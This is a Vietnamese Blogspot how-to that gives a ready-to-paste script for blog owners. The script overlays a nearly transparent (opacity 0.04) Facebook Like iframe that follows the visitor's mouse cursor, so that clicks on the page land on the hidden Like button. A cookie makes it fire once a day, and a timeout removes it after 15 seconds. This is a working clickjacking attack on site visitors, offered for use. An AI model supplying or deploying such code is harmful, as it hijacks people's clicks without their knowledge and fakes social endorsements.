Cách thực hiện:
(Dành cho người thiết kế Blogspot chuyên nghiệp)
Chèn đoạn code sau trên </body>
<script>var fan_page_url = 'https://www.facebook.com/designblogspot'var opacity =0.04;var time = 15000;</script><script>if((document.getElementById) && window.addEventListener || window.attachEvent){ (function(){ var hairCol = "#ff0000";
var d = document; var my = -10; var mx = -10; var r; var vert = "";
var idx = document.getElementsByTagName('div').length;
var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=80&action=like&colorscheme=light&height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>"; var like; var faceLike=getCookie("faceLike"); if (faceLike!=null && faceLike!="") { } else { setCookie("faceLike",'liked',1); document.write(thehairs); like = document.getElementById("theiframe"); document.getElementsByTagName('body')[0].appendChild(like); } var pix = "px"; var domWw = (typeof window.innerWidth == "number"); var domSy = (typeof window.pageYOffset == "number");
if (domWw) r = window; else{ if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0) r = d.documentElement; else{ if (d.body && typeof d.body.clientWidth == "number") r = d.body; } }
if(time != 0){ setTimeout(function(){ document.getElementsByTagName('body')[0].removeChild(like);
if (window.addEventListener){ document.removeEventListener("mousemove",mouse,false); } else if (window.attachEvent){ document.detachEvent("onmousemove",mouse); } }, time); }
function scrl(yx){ var y,x; if (domSy){ y = r.pageYOffset; x = r.pageXOffset; } else{ y = r.scrollTop; x = r.scrollLeft; } return (yx == 0) ? y:x; }
function mouse(e){ var msy = (domSy)?window.pageYOffset:0; if (!e) e = window.event; if (typeof e.pageY == 'number'){ my = e.pageY - 15 - msy; mx = e.pageX - 34; } else{ my = e.clientY - 16 - msy; mx = e.clientX - 36; } vert.top = my + scrl(0) + pix; vert.left = mx + pix; }
function ani(){ vert.top = my + scrl(0) + pix; setTimeout(ani, 300); }
function init(){ vert = document.getElementById("theiframe").style; ani(); } function getCookie(c_name) { var c_value = document.cookie; var c_start = c_value.indexOf(" " + c_name + "="); if (c_start == -1) { c_start = c_value.indexOf(c_name + "="); } if (c_start == -1) { c_value = null; } else { c_start = c_value.indexOf("=", c_start) + 1; var c_end = c_value.indexOf(";", c_start); if (c_end == -1) { c_end = c_value.length; } c_value = unescape(c_value.substring(c_start,c_end)); } return c_value; }
function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie=c_name + "=" + c_value; }
function checkCookie() { var faceLike=getCookie("faceLike"); if (faceLike!=null && faceLike!="") { alert("Welcome again " + faceLike); } else { setCookie("faceLike",'liked',1); } } if (window.addEventListener){ window.addEventListener("load",init,false); document.addEventListener("mousemove",mouse,false); } else if (window.attachEvent){ window.attachEvent("onload",init); document.attachEvent("onmousemove",mouse); }
})();}//End</script>
Chú ý: Thay đoạn code chữ đậm màu đỏ ở trên thành link fanpage của bạn
* Chúc bạn thành công , mọi thắc mắc vui lòng để lại comment phía dưới.








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